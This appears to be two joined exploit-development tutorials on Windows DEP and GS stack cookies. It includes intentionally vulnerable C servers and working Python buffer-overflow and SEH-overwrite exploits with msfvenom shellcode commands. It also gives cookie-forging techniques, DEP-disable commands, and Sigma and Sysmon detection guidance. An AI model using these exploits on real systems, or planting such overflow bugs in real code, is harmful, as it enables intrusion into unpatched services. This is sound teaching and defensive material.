Software-enforced DEP does not use the NX bit at all. It is essentially SafeSEH – an integrity check on Structured Exception Handlers. When a process raises an exception, the software DEP path validates that the stored exception handler matches one that was registered when the binary was compiled. It exists for CPUs with no NX support and it protects against a different attack (SEH overwrite), not against running code on the stack.
Do not expect software DEP to stop shellcode on a data page. It cannot. Only the hardware bit does that. DEP arrived with Windows XP SP2 and Server 2003 SP1, and the hardware path is the one that matters for exploit development.
4. System-Wide DEP Policy
DEP is configured at boot from the Boot Configuration Data (BCD). There are four system-wide policies, and knowing which one your target runs tells you whether the vulnerable process is even protected.
| Value | Name | Meaning |
|---|---|---|
0 | AlwaysOff | DEP disabled OS-wide |
1 | AlwaysOn | DEP enabled for every process, no opt-out |
2 | OptIn | Default on Windows client; DEP on for OS/system binaries, off for other processes unless explicitly enabled |
3 | OptOut | Default on Windows Server; DEP on for everything, admins can exclude specific executables |
Set it in the lab with bcdedit:
bcdedit /set nx AlwaysOn # or AlwaysOff / OptIn / OptOut
# reboot required for the change to take effect
Read the effective policy without a debugger via WMI:
(Get-WmiObject Win32_OperatingSystem).DataExecutionPrevention_SupportPolicy
# 0=AlwaysOff 1=AlwaysOn 2=OptIn 3=OptOut
Programmatically, a process calls GetSystemDEPPolicy(), which returns the same 0..3 enum. The client-versus-server default split (OptIn vs OptOut) is why a legacy 32-bit service can ship completely unprotected on a workstation while the same binary is covered on a server.
5. Per-Process DEP Control
Above the system policy sits a per-process layer. This is where an attacker who already runs code inside a 32-bit process has historically tried to just turn DEP off.
| API | Purpose |
|---|---|
SetProcessDEPPolicy(DWORD dwFlags) | Override system policy for the current process. Flags: PROCESS_DEP_ENABLE (0x1), PROCESS_DEP_DISABLE_ATL_THUNK_EMULATION (0x2). 32-bit only; on 64-bit it fails with ERROR_NOT_SUPPORTED |
GetProcessDEPPolicy(HANDLE, LPDWORD, PBOOL) | Query a 32-bit process’s DEP and ATL-thunk settings. Needs PROCESS_QUERY_INFORMATION |
GetSystemDEPPolicy() | Return the system-wide DEP_SYSTEM_POLICY_TYPE value |
SetProcessMitigationPolicy(ProcessDEPPolicy, ...) | Modern setter using PROCESS_MITIGATION_DEP_POLICY |
GetProcessMitigationPolicy(ProcessDEPPolicy, ...) | Modern getter for the same struct |
The modern struct is worth reading because the Permanent field is the one that ends the argument:
typedef struct _PROCESS_MITIGATION_DEP_POLICY {
union {
DWORD Flags;
struct {
DWORD Enable : 1;
DWORD DisableAtlThunkEmulation : 1;
DWORD ReservedFlags : 30;
};
};
BOOLEAN Permanent;
} PROCESS_MITIGATION_DEP_POLICY;
Enable turns DEP on for the process. DisableAtlThunkEmulation stops the OS from silently emulating NX faults thrown by legacy ATL 7.1 thunks. Permanent, when TRUE, locks the setting for the life of the process.
That lock is the key defensive move. If the process was created with DEP specified through the PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY creation attribute, later calls to SetProcessDEPPolicy fail with ERROR_ACCESS_DENIED. An attacker cannot simply call the “disable DEP” API from inside a hardened process, because the policy was frozen at CreateProcess time. Any internally developed software should be created this way.
6. Memory Protection Constants
Every page in a process carries a protection constant from winnt.h. Only four of them permit execution.
| Constant | Value | Executable? |
|---|---|---|
PAGE_EXECUTE | 0x10 | Yes (execute only) |
PAGE_EXECUTE_READ | 0x20 | Yes (execute + read) |
PAGE_EXECUTE_READWRITE | 0x40 | Yes (RWX) |
PAGE_EXECUTE_WRITECOPY | 0x80 | Yes (execute + write-copy) |
PAGE_READONLY | 0x02 | No |
PAGE_READWRITE | 0x04 | No |
Stack frames and HeapAlloc / malloc allocations are PAGE_READWRITE by default. That is precisely the memory your shellcode lands in, which is precisely why it will not run. The ideal a defender wants is W^X (write XOR execute): a page is either writable or executable, never both.
Two APIs mint or flip executable pages, and both become the target of a DEP bypass:
LPVOID VirtualAlloc(
LPVOID lpAddress, // desired address or NULL
SIZE_T dwSize,
DWORD flAllocationType, // MEM_COMMIT | MEM_RESERVE
DWORD flProtect); // e.g. PAGE_EXECUTE_READWRITE (0x40)
BOOL VirtualProtect(
LPVOID lpAddress, // base of region to change
SIZE_T dwSize, // size in bytes
DWORD flNewProtect, // new protection, e.g. 0x40
PDWORD lpflOldProtect); // receives old protection
VirtualProtect can flip the stack page holding your shellcode from PAGE_READWRITE to PAGE_EXECUTE_READWRITE, clearing the NX bit. VirtualAlloc can carve out a fresh RWX region to copy shellcode into. Hold that thought; it is the whole bypass in one sentence.

7. Lab Demo: DEP in Action
The Vulnerable Target
Here is a deliberately vulnerable TCP server. It reads up to 1024 bytes into a 256-byte stack buffer. Classic stack smash.
// vuln_server.c - GenXCyber lab target, intentionally vulnerable
// Compile: cl /GS- /NXCOMPAT:NO /DYNAMICBASE:NO /MT vuln_server.c ws2_32.lib
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
void handle_client(SOCKET s) {
char buf[256]; // fixed 256-byte buffer
int received = recv(s, buf, 1024, 0); // overread -> stack overflow
printf("[*] Received %d bytes\n", received);
send(s, "OK\n", 3, 0);
}
int main(void) {
WSADATA wsa; WSAStartup(MAKEWORD(2,2), &wsa);
SOCKET srv = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {AF_INET, htons(9999), {INADDR_ANY}};
bind(srv, (struct sockaddr*)&addr, sizeof addr);
listen(srv, 1);
printf("[*] Listening on 9999\n");
while (1) { SOCKET c = accept(srv, 0, 0); handle_client(c); closesocket(c); }
}
The compiler flags matter. /GS- kills the stack cookie so the overflow is clean. /DYNAMICBASE:NO disables ASLR so gadget addresses are deterministic. /NXCOMPAT:NO clears the IMAGE_DLLCHARACTERISTICS_NX_COMPAT bit in the PE Optional Header, which on a 32-bit image tells the loader to opt this process out of DEP.
That word “32-bit” is a real gotcha. The first time I ran this, I built it x64 out of habit, set /NXCOMPAT:NO, and the process still faulted on the stack every single time. /NXCOMPAT:NO is meaningless on 64-bit Windows: DEP is always enforced for 64-bit processes regardless of the PE flag. Build the target as x86 from the “x86 Native Tools” prompt, or you will chase a ghost for an hour.
Step 1: Recon the DEP State
Before writing a byte of exploit, confirm what you are up against.
# System policy
(Get-WmiObject Win32_OperatingSystem).DataExecutionPrevention_SupportPolicy
# Is the PE opted out of DEP?
dumpbin /headers vuln_server.exe | findstr /i nxcompat
# with /NXCOMPAT:NO the "NX compatible" flag is absent
Attach WinDbg to the running process and inspect the stack page protection:
!process 0 0 vuln_server.exe
.process /p <EPROCESS>
!vprot esp
!peb
!vprot esp prints the protection on the stack page. Note that it is PAGE_READWRITE. That single line is the reason your shellcode will not run.
Step 2: Find the Offset to EIP
Send a cyclic pattern, crash the server, read the value that landed in EIP, and compute the offset.
from pwn import *
pattern = cyclic(600)
s = remote('192.168.56.101', 9999)
s.send(pattern)
s.close()
WinDbg catches the crash and shows the faulting eip, say 0x61616d61. Reverse it:
python3 -c "from pwn import *; print(cyclic_find(0x61616d61))"
# -> 276 (example value for this build)
If you prefer Immunity plus Mona on the target:
!mona pc 600
!mona findmsp
Step 3: Confirm EIP Control, Then Watch DEP Kill the Shellcode
Generate shellcode, prepend the offset, overwrite EIP with a JMP ESP from a non-ASLR module, and drop a NOP sled plus shellcode on the stack.
# Generate calc-popping shellcode, null-byte-free
msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00' -v shellcode
# classic_shellcode_test.py - this WILL be blocked by DEP
from pwn import *
OFFSET = 276
JMP_ESP = 0x625011af # a "jmp esp" in a loaded, non-ASLR module
# paste the msfvenom output here:
shellcode = b"\xdb\xc0..." # windows/exec CMD=calc.exe, no null bytes
payload = b"A" * OFFSET
payload += p32(JMP_ESP) # overwrite saved return address
payload += b"\x90" * 16 # NOP sled
payload += shellcode
s = remote('192.168.56.101', 9999)
s.send(payload)
s.close()
With DEP enforced on the process, calc.exe never appears. WinDbg shows the CPU reaching your JMP ESP cleanly, jumping to the stack, and dying the instant it tries to execute the first NOP:
(1a2c.14b0): Access violation - code c0000005 (!!! second chance !!!)
eip=0012f9e4
0:000> !vprot esp
BaseAddress: 0012f000
AllocationBase: 00030000
RegionSize: 00010000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE <-- not executable, DEP fires
Protect: PAGE_READWRITE on the page holding eip. That is DEP working exactly as designed. The redirection succeeded; the execution did not.
Step 4: What Would Actually Be Needed
Now show yourself the target of the bypass. The functions that can make the stack executable already live in executable pages, and without ASLR their addresses are fixed.
!dh -f vuln_server.exe ; inspect the import table
x kernel32!VirtualProtect ; note the fixed address
Any working DEP bypass has to do four things with borrowed code:
- Pivot
ESPonto attacker-controlled data (a stack pivot gadget). - Stage the arguments for
VirtualProtect(lpAddress, dwSize, PAGE_EXECUTE_READWRITE, lpOldProtect)usingPOP reg; RETNgadgets. - Transfer control into
kernel32!VirtualProtect. - Return into the now-executable shellcode sitting in place.
Not one byte of injected code executes as data. Every instruction that runs before the final RETN already existed in a legitimate, executable module. That is Return Oriented Programming, and the full chain (gadget hunting with !mona rop and ROPgadget, the PUSHAD argument trick, the pivot) is the deliverable of the next tutorial. For now the point is made: DEP does not stop control-flow hijacking, it forces the attacker to build their payload out of existing code.

8. Common Attacker Techniques
| Technique | Description |
|---|---|
ROP via VirtualProtect | Chain existing gadgets to flip the shellcode page to PAGE_EXECUTE_READWRITE, then return into it |
ROP via VirtualAlloc | Allocate a fresh RWX region, copy shellcode in, jump to it |
SetProcessDEPPolicy(0) abuse | From inside a 32-bit process, attempt to disable DEP; blocked if Permanent was set at creation |
NtSetInformationProcess class ProcessExecuteFlags (0x22) | Undocumented in-process DEP disable; blocked on 64-bit and on Permanent-DEP processes |
bcdedit /set nx AlwaysOff | System-wide DEP disable, needs admin and a reboot |
| Per-app AppCompat opt-out | Registry Layers entries (DisableNXShowUI) to exclude a target binary from DEP |
The API abuse routes are mostly historical curiosities today. SetProcessDEPPolicy and NtSetInformationProcess(0x22) both fail on 64-bit and on any process created with permanent DEP, which is nearly everything modern. In practice the real DEP bypass in 2024 is ROP, full stop.

9. Defensive Strategies & Detection
Sysmon and Process Auditing
| Event ID | Event | Relevance |
|---|---|---|
Sysmon EID 1 | Process Create | Catch bcdedit.exe /set nx ... command lines (DEP tamper) |
Sysmon EID 8 | CreateRemoteThread | Injection following a successful bypass |
Sysmon EID 10 | ProcessAccess | OpenProcess with PROCESS_VM_WRITE + PROCESS_VM_OPERATION, precursor to VirtualProtectEx / WriteProcessMemory |
Sysmon EID 12/13 | Registry Create/Set | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers per-app DEP opt-out |
Enable command-line logging so bcdedit invocations carry their arguments: security event 4688 with the GPO Administrative Templates > System > Audit Process Creation > Include command line in process creation events, or:
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
ETW
Microsoft-Windows-Security-Mitigations(GUID{FAE10392-F0AF-4AC0-B8FF-9F4D920C3CDF}) emits events when mitigation policies including DEP trigger or change.Microsoft-Windows-Kernel-Memorysurfaces low-level page-fault telemetry where NX faults appear.
Sigma
title: BCDEdit DEP Policy Modification
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\bcdedit.exe'
CommandLine|contains|all:
- 'nx'
- 'alwaysoff'
condition: selection
fields:
- Image
- CommandLine
- ParentImage
- User
level: high
For EDRs with API-level telemetry, the strongest signal is a call to VirtualProtect / VirtualProtectEx requesting an executable protection where the calling return address is not backed by any mapped image:
selection:
event_type: api_call
api_name:
- VirtualProtect
- VirtualProtectEx
new_protect:
- 0x40 # PAGE_EXECUTE_READWRITE
- 0x20 # PAGE_EXECUTE_READ
- 0x10 # PAGE_EXECUTE
caller_module: UNKNOWN # caller not in a mapped image -> ROP/shellcode
condition: selection
Hardening
- Set DEP to
AlwaysOn:bcdedit /set nx AlwaysOn, verifyDataExecutionPrevention_SupportPolicy == 1. - Create your own software with
UpdateProcThreadAttributeusingPROC_THREAD_ATTRIBUTE_MITIGATION_POLICYandPROCESS_CREATION_MITIGATION_POLICY_DEP_ENABLE, so DEP isPermanentand cannot be disabled in-process. - Enable ASLR alongside DEP. This is the one that matters most: ASLR randomizes module base addresses, which is what makes the gadget-hunting phase of a ROP chain unreliable. DEP without ASLR is a speed bump; DEP plus ASLR plus CFG is a wall.
- Enforce DEP + ASLR + Control Flow Guard through Windows Defender Exploit Guard / Exploit Protection, per program or via GPO.
- Audit the AppCompat
Layerskey forDisableNXShowUI/DisableNXHideUIopt-outs and remove them. - Monitor for
NtSetInformationProcesswith class0x22(ProcessExecuteFlags) via user-mode API monitoring.
10. Tools for DEP Analysis
| Tool | Description | Link |
|---|---|---|
WinDbg + !vprot | Confirm page protection at the crash; read PEB DEP state | learn.microsoft.com |
dumpbin /headers | Check the IMAGE_DLLCHARACTERISTICS_NX_COMPAT PE flag | learn.microsoft.com |
Immunity Debugger + mona.py | !mona pc, !mona findmsp, !mona noaslr, !mona rop | corelan.be |
pwntools (cyclic, cyclic_find) | Pattern generation and offset finding | pwntools.com |
msfvenom | Generate null-free PoC shellcode | metasploit.com |
bcdedit | Configure and read system DEP policy | learn.microsoft.com |
| Process Hacker | Per-process DEP status column | processhacker.sourceforge.io |
MITRE ATT&CK Mapping
DEP bypass is a pre-exploitation primitive, not an ATT&CK technique in its own right. The relevant IDs describe what it enables and how the tampering is detected.
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation for Client Execution | T1203 | The shellcode injection DEP blocks; crash telemetry, exploit-guard events |
| Process Injection | T1055 | Post-bypass RWX allocation + shellcode write; Sysmon EID 8/10 |
| Process Injection: DLL Injection | T1055.001 | VirtualAllocEx + WriteProcessMemory; API monitoring |
| Impair Defenses: Disable or Modify Tools | T1562.001 | bcdedit /set nx, SetProcessDEPPolicy, NtSetInformationProcess; EID 1 / 4688 |
| Native API | T1106 | Direct VirtualProtect / VirtualAlloc / NtSetInformationProcess calls |
Summary
- DEP marks data pages non-executable at the hardware level (NX/XD, PTE bit 63), so injected shellcode on the stack or heap faults with
0xC0000005instead of running. - Hardware DEP is the real protection; software DEP (SafeSEH) only guards SEH overwrites and never stops code on data pages.
- Policy is layered: system-wide via
bcdedit /set nx(AlwaysOn/Off/OptIn/OptOut) and per-process viaSetProcessDEPPolicy/PROCESS_MITIGATION_DEP_POLICY, withPermanentDEP locked at process creation being the strongest control. - DEP stops execution, not control-flow hijack. The attacker still owns EIP and pivots to ROP, chaining existing gadgets to call
VirtualProtect/VirtualAllocand re-enable execution without injecting a single executable byte. - DEP and ASLR are complementary: ASLR randomizes the module bases that ROP depends on, so pair them (plus CFG) and detect tamper via Sysmon EID 1/10, the
Security-MitigationsETW provider, and command-line auditing ofbcdedit.
The next tutorial builds the full working ROP chain against this exact target: gadget discovery, the stack pivot, the PUSHAD trick, and a live VirtualProtect call that turns this dead crash into a shell.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
References
Stack Canaries and GS Cookies: How They Work and When They Fail
You have a clean stack overflow in an MSVC-compiled service. EIP should be yours. It isn’t, because eight bytes above your buffer sit a value you never wrote and cannot predict, and the moment the function tries to return, that value gets XOR-checked against a global. Miss it and the process fast-fails before your saved return address is even loaded. That value is the GS cookie, and knowing exactly where it lives, when it is validated, and when the validation never runs is the difference between a crash report and a shell.
Objective: Understand the internals of the MSVC
/GSstack cookie and the GCC stack canary – how the value is generated, placed, and checked – then reproduce three practical bypass classes against a self-built vulnerable Windows service, and pair each with the defender telemetry that catches it.
1. Stack Overflows and the Canary Concept
A stack buffer overflow is linear. strcpy, recv-into-fixed-buffer, sprintf: they write from low addresses upward, past the buffer, over saved registers, over the saved return address. Classic exploitation overwrites that return address and redirects execution on function exit.
The canary defense is old and simple. StackGuard (1998) put a known sentinel value between the local buffers and the saved return address. Any linear overflow that reaches the return address must first trample the sentinel. The epilogue checks the sentinel against a reference copy; mismatch means corruption, and the program aborts before the poisoned return address is ever used. GCC shipped this as -fstack-protector; Microsoft shipped /GS in Visual Studio 2003 and made it default in VS 2005. VS 2010 replaced the original with GS++, widening coverage from “char/wchar arrays of 8+ elements” to any array and any struct.
The concept is sound. The failures are all in the details: which functions get a cookie, when the check actually executes, and whether the attacker can read or reconstruct the value.
2. Linux Canaries: -fstack-protector Internals
Start on Linux because the mechanism is easy to read in gdb. Build a target:
// canary_demo.c -> gcc -m64 -fstack-protector-all -g canary_demo.c -o canary_demo
#include <stdio.h>
#include <string.h>
void vuln(char *in) {
char buf[64];
strcpy(buf, in); // linear overflow
puts(buf);
}
int main(int argc, char **argv) {
if (argc > 1) vuln(argv[1]);
return 0;
}
Disassemble the prologue and epilogue in pwndbg:
pwndbg> disassemble vuln
mov rax, qword ptr fs:[0x28] ; load canary from TLS
mov qword ptr [rbp-0x8], rax ; store cookie at [rbp-0x8], just below saved rbp
...
mov rax, qword ptr [rbp-0x8] ; reload stack copy
xor rax, qword ptr fs:[0x28] ; compare against TLS master
je ret_ok
call __stack_chk_fail ; mismatch -> abort
On x64 Linux the master canary lives in thread-local storage at fs:[0x28] (__stack_chk_guard). It is a terminator canary: the low byte is 0x00, so a string-copy overflow cannot cleanly write past it with printable data. GCC does not XOR the canary with the frame pointer; it copies the TLS value onto the stack and compares directly. If it fails, __stack_chk_fail prints *** stack smashing detected *** and calls abort().
Inspect the live value:
pwndbg> b vuln
pwndbg> run AAAA
pwndbg> canary
AT_RANDOM = 0x7fffffffe... -> canary = 0x8f3a2b1c9d5e4700
Two takeaways carry to Windows. First, the canary sits between the buffer and the return address, so you cannot skip it with a linear write. Second, its entropy comes from the loader, so a plain overflow cannot guess it. Everything after this is about breaking one of those two assumptions.
3. Windows GS Cookies: Compiler and Loader Mechanics
Windows adds two wrinkles GCC does not: the cookie is XOR-masked with a register, and dedicated exception handlers can validate it even when a function throws. The identifiers you will meet:
| Identifier | What it does |
|---|---|
__security_cookie | Per-image global (uintptr_t) in .data, the master reference cookie for every GS function in the module. |
__security_init_cookie | First action of the EXE/DLL entry point; seeds the image cookie with high entropy if the loader has not. |
__security_check_cookie | Validates the on-stack cookie against the global; branches to __report_gsfailure on mismatch. |
__report_gsfailure | Windows 8+ terminates via __fastfail (STATUS_STACK_BUFFER_OVERRUN, 0xC0000409); older systems call UnhandledExceptionFilter. |
__GSHandlerCheck | Unwind-time handler that emulates the epilogue cookie check when a function faults, using UNWIND_INFO.ExceptionData. |
__GSHandlerCheck_SEH / _EH | Same, but also chain to __C_specific_handler / __CxxFrameHandler3 for functions with both a cookie and an exception handler. |
The cookie is not stored raw on the stack. The prologue XORs it with the frame pointer so that two frames never hold the same on-stack value:
; x64 prologue (frame-pointer form)
mov rax, qword [__security_cookie]
xor rax, rbp ; x86 uses EBP; frame-pointer-less x64 uses RSP
mov qword [rbp-8], rax ; masked cookie on stack
; epilogue
mov rcx, qword [rbp-8]
xor rcx, rbp
call __security_check_cookie ; compares rcx to global, else __report_gsfailure
On x86 the mask is EBP; on x64 it is RBP when the function keeps a frame pointer and RSP otherwise (the kernel KeBugCheckEx path uses bugcheck 0xF7). The masking matters for exploitation: to forge a valid on-stack cookie you need both the global value and the frame/stack pointer at that instant.
The compiler also reorders locals. GS buffers (arrays, structs) are hoisted to the highest addresses in the frame, and sensitive arguments are shadow-copied below the locals. An overflow of a buffer therefore reaches the cookie and return address before it reaches other scalars, and it cannot corrupt the copied arguments. That reordering is exactly what the next section shows the compiler failing to do.

4. When /GS Does Not Protect a Function
/GS is not applied to every function, and even when applied it does not always help. The gaps:
| Condition | Result |
|---|---|
| Function has no GS buffer (no array/struct local) | No cookie inserted at all. |
Compiled with /GS-, or marked __declspec(safebuffers) | Cookie suppressed for that translation unit / function. |
| Zero-reference-count array (accessed only by index) | MSVC’s internal ref-count bug excludes it from safe ordering and cookie insertion. |
| Struct with an array followed by other members | Struct field order is fixed by the language, so trailing members cannot be reordered out of harm’s way. |
Third-party DLL built without /GS or /SAFESEH | Provides unprotected functions and pop/pop/ret gadgets. |
| Exception raised before the epilogue runs | The cookie is never checked (unless a __GSHandler* guards the frame). |
The last two rows are the practical attack surface. A struct that declares char buf[512] followed by a pointer keeps that pointer directly above the array in memory, unreorderable. Overflow the array, clobber the pointer, and you get an attacker-influenced fault. And a fault means the SEH dispatcher runs before the return path, which is the seam we drive a wedge into next.
5. Building the Lab Target
Here is a minimal, intentionally vulnerable Windows service. It is compiled with /GS on purpose. The bug is a struct overflow that both smashes an SEH record and produces a controlled access violation before the function returns.
// vuln_gs_server.c
// Build from an x86 Native Tools prompt:
// cl /GS /Zi vuln_gs_server.c /link /SAFESEH:NO /DYNAMICBASE:NO /NXCOMPAT:NO ws2_32.lib
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#include <excpt.h> // structured exception handling (__try/__except) support
#include <string.h>
#pragma comment(lib, "ws2_32.lib")
typedef struct _REQ {
char buf[512]; // GS buffer: array inside a struct
char *sink; // trailing member: cannot be reordered above the array
} REQ;
static void handle_client(SOCKET c) {
REQ r;
char netbuf[4096];
int n;
r.sink = r.buf; // starts valid
n = recv(c, netbuf, sizeof(netbuf) - 1, 0);
if (n <= 0) return;
netbuf[n] = '\0';
#ifdef _MSC_VER
__try {
strcpy(r.buf, netbuf); // linear overflow of r.buf
*r.sink = 'X'; // deref clobbered pointer -> AV -> SEH
} __except (EXCEPTION_EXECUTE_HANDLER) {
/* swallowed */
}
#else
strcpy(r.buf, netbuf); // linear overflow of r.buf
*r.sink = 'X'; // deref clobbered pointer -> AV
#endif
}
int main(void) {
WSADATA wsa; SOCKET srv, cli; struct sockaddr_in sa;
WSAStartup(MAKEWORD(2, 2), &wsa);
srv = socket(AF_INET, SOCK_STREAM, 0);
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(9999);
sa.sin_addr.s_addr = INADDR_ANY;
bind(srv, (struct sockaddr *)&sa, sizeof(sa));
listen(srv, 1);
for (;;) { cli = accept(srv, NULL, NULL); handle_client(cli); closesocket(cli); }
return 0;
}
The linker flags are deliberate lab simplifications: /SAFESEH:NO leaves the module’s handlers unvalidated, /DYNAMICBASE:NO fixes the image base so gadget addresses are stable, and /NXCOMPAT:NO lets stack shellcode execute so we focus on the cookie, not on DEP. Under DEP you would swap the shellcode for a VirtualProtect ROP stub; that is a separate lesson.
Also build a /GS- copy for side-by-side disassembly:
cl /GS- /Zi vuln_gs_nogs.c /link /SAFESEH:NO /DYNAMICBASE:NO /NXCOMPAT:NO ws2_32.lib
6. Bypass Path 1 – SEH Overwrite Before the Check
The plan: overflow reaches the on-stack EXCEPTION_REGISTRATION_RECORD (its Next and Handler fields), then *r.sink = 'X' faults through the clobbered pointer. The exception dispatcher walks the SEH chain and calls our overwritten handler, all before handle_client reaches its epilogue. The cookie check never runs.
Recon and binary analysis
dumpbin /loadconfig vuln_gs_server.exe :: SecurityCookie field confirms /GS
winchecksec vuln_gs_server.exe :: GS=true SafeSEH=false ASLR=false DEP=false
In WinDbg, confirm the master cookie and the unwind handler:
0:000> dd vuln_gs_server!__security_cookie L1
0:000> !dh vuln_gs_server -f ; inspect LOAD_CONFIG / SEHandlerCount == 0
SEHandlerCount == 0 in the load config means no SafeSEH table: any address is an accepted handler. That is our gadget freedom.
Trigger and crash confirmation
# fuzz.py
import socket
s = socket.socket(); s.connect(('127.0.0.1', 9999))
s.send(b'A' * 2000); s.close()
Attach WinDbg. You get an access violation writing to 0x41414141 (the clobbered sink). Look at the SEH chain:
0:000> !exchain
0012f8b0: 41414141
Invalid exception stack at 41414141
The Handler field is already 0x41414141. The fault fired inside the __try, and the dispatcher is about to hand control to a pointer we own. The cookie is still intact on the stack and completely irrelevant, because the epilogue is never reached.
Defender view: At this stage there is no
0xC0000409fast-fail, because the GS check never runs. A defender watching WER sees only the swallowed access violation (or nothing, since it is caught). The reliable signal comes later, when Sysmon Event ID 1 recordsvuln_gs_server.exeas the parent of an unexpected process.
Offset discovery
!mona pattern_create 2000
Send the cyclic pattern, read the nSEH and Handler values from !exchain, then:
!mona pattern_offset <nseh_value> ; e.g. 528
!mona pattern_offset <handler_value> ; e.g. 532
Gadget selection
We need a pop / pop / ret in a non-SafeSEH, non-ASLR module. The EXE itself qualifies:
!mona seh -n
Pick a pop r32; pop r32; ret address with no bad characters (no 0x00, and none of the WinSock delimiters). Call it 0x00401233.
Payload construction
# exploit_gs_seh.py
import socket, struct
nseh_offset = 528 # from mona
ppr = struct.pack('<I', 0x00401233) # pop/pop/ret in EXE (non-SafeSEH)
# msfvenom -p windows/exec CMD=calc.exe EXITFUNC=seh -b '\x00' -f python
shellcode = b'\x90' * 16
shellcode += b'' # <-- paste msfvenom buf here
buf = b'A' * nseh_offset # filler; also clobbers r.sink -> AV
buf += b'\xeb\x06\x90\x90' # nSEH: short jmp +6 over the handler dword
buf += ppr # SEH handler: pop/pop/ret
buf += shellcode # lands here after the short jump
buf += b'C' * (2000 - nseh_offset - 8 - len(shellcode))
s = socket.socket(); s.connect(('127.0.0.1', 9999))
s.send(buf); s.close()
EXITFUNC=seh matters: the payload runs from inside exception dispatch, so it must return cleanly through the SEH path rather than call ExitProcess. The \xeb\x06 short jump skips the 4-byte handler pointer and the two remaining nSEH pad bytes, landing in the NOP pad before the shellcode.
Verify
Break on the gadget, then single-step:
0:000> bp 0x00401233
0:000> g
pop pop ret pivots EIP into the nSEH bytes, the short jump carries you into the NOP sled, and calc.exe pops. Note in the debugger that __security_check_cookie was never entered.
Defender view: Sysmon Event ID 1 fires with
ParentImage=vuln_gs_server.exeandImage=calc.exe, and Audit 4688 captures theCMD=calc.execommand line. A listener process parenting an interactive binary is the anomaly a Sigma rule should alert on. Cost me an hour the first time I built one of these: I forgotEXITFUNC=sehand the payload corrupted the very SEH frame it was standing on, socalcflickered and the process died mid-spawn.

7. Bypass Path 2 – Info-Leak and Cookie Reconstruction
When you cannot avoid the epilogue, defeat the check by supplying the right value. The cookie is __security_cookie XOR frame_pointer, so you need two leaks:
- Read
__security_cookiefrom the module’s.datasection via an out-of-bounds read primitive (a format-string leak or an OOBrecvecho in the lab build). - Leak a stack address at the moment of the overflow to recover the frame pointer used as the XOR mask.
# reconstruction sketch (lab pseudo-primitives)
leaked_cookie = read_data(module_base + SECURITY_COOKIE_RVA) # OOB read
frame_ptr = leak_stack_pointer() # stack info-leak
onstack_value = leaked_cookie ^ frame_ptr
payload = b'A' * canary_offset
payload += struct.pack('<I', onstack_value) # forged, valid cookie
payload += b'B' * saved_ebp_len
payload += struct.pack('<I', ret_addr) # normal EIP hijack
Step it in WinDbg: __security_check_cookie now passes, the epilogue loads your return address, and EIP is yours. ASLR does not stop this once you have the read primitive, because the leak resolves both the .data base and the live stack. No leak, no reconstruction: this is why info-leak bugs are prized.
Defender view: Because the forged cookie passes
__security_check_cookie, WER stays silent – there is no0xC0000409to log. Detection shifts to theMicrosoft-Windows-Security-MitigationsETW provider and to Sysmon Events 1/3 catching the post-exploitation process and C2 connection.
8. Bypass Path 3 – Arbitrary Write to the .data Cookie
If you hold a 4-byte arbitrary write, you can rewrite the referee. The .data section is writable, so overwrite __security_cookie with a value you choose, then place that same value on the stack in your overflow. The epilogue compares your stack value against your global value: they match.
0:000> ? vuln_gs_server!__security_cookie
0:000> ed vuln_gs_server!__security_cookie 0x41414141 ; arbitrary write target
Then the overflow writes 0x41414141 (XOR-masked with the frame pointer, which you must account for) at the canary slot. The check passes and the return address flows. This is the cleanest illustration that a stack cookie is only as trustworthy as the writability of its reference copy. In the HEVD kernel StackOverflowGS variant, the same idea is driven by a kernel arbitrary-read to recover the cookie rather than a write, because .data there is not freely writable.

9. Common Attacker Techniques
| Technique | Description |
|---|---|
| SEH overwrite | Clobber the exception registration record and fault before the epilogue so the cookie is never checked. |
| Info-leak + reconstruction | Read __security_cookie and a stack pointer, forge the masked on-stack value. |
.data cookie overwrite | Use an arbitrary write to change the reference cookie itself. |
| Struct-internal overflow | Overflow an array inside a struct to smash a trailing member the compiler cannot reorder. |
| Zero-reference-count arrays | Target index-only arrays MSVC excludes from cookie insertion. |
| Non-SafeSEH gadget sourcing | Pull pop/pop/ret from a third-party DLL loaded without /SAFESEH, giving a stable handler address the SEH validator will accept. |
10. Detection and Defense
Every step above leaves telemetry. Here is the defender view paired to the offensive path.
Windows Error Reporting (WER)
A GS cookie failure on Windows 8+ routes through __report_gsfailure to __fastfail, terminating the process with exception code 0xC0000409 (STATUS_STACK_BUFFER_OVERRUN). WER writes a report to %LOCALAPPDATA%\Microsoft\Windows\WER\ReportQueue\ with a crash dump that identifies the faulting stack frame. In the Application event log this surfaces as:
- Event ID 1000 – Application Error (the crash itself).
- Event ID 1001 – Windows Error Reporting fault bucket.
Crucially, the SEH-overwrite bypass (Path 1) does not produce a 0xC0000409 because the cookie check never runs – instead you see the swallowed access violation and, post-exploitation, the anomalous child process. Info-leak reconstruction (Path 2) and the .data overwrite (Path 3) also pass the check cleanly, so WER stays quiet. That silence is itself the signal: a service that used to fast-fail under fuzzing and now spawns calc.exe was bypassed, not stopped.
Sysmon Events
| Event ID | Relevance |
|---|---|
| 1 (Process Create) | Detect the vulnerable server spawning unexpected children (cmd.exe, powershell.exe, calc.exe) or known frameworks (Metasploit, Cobalt Strike, Empire). |
| 3 (Network Connection) | Alert on outbound C2 connections initiated by a listener process that should never dial out. |
| 7 (Image Load) | Flag loading of unsigned or unexpected DLLs – including the non-SafeSEH third-party modules used for gadget sourcing. |
| 8 (CreateRemoteThread) | Catch post-exploitation thread injection into other processes. |
| 25 (Process Tampering) | Detect process hollowing, herpaderping, and ghosting that may follow a stack pivot. |
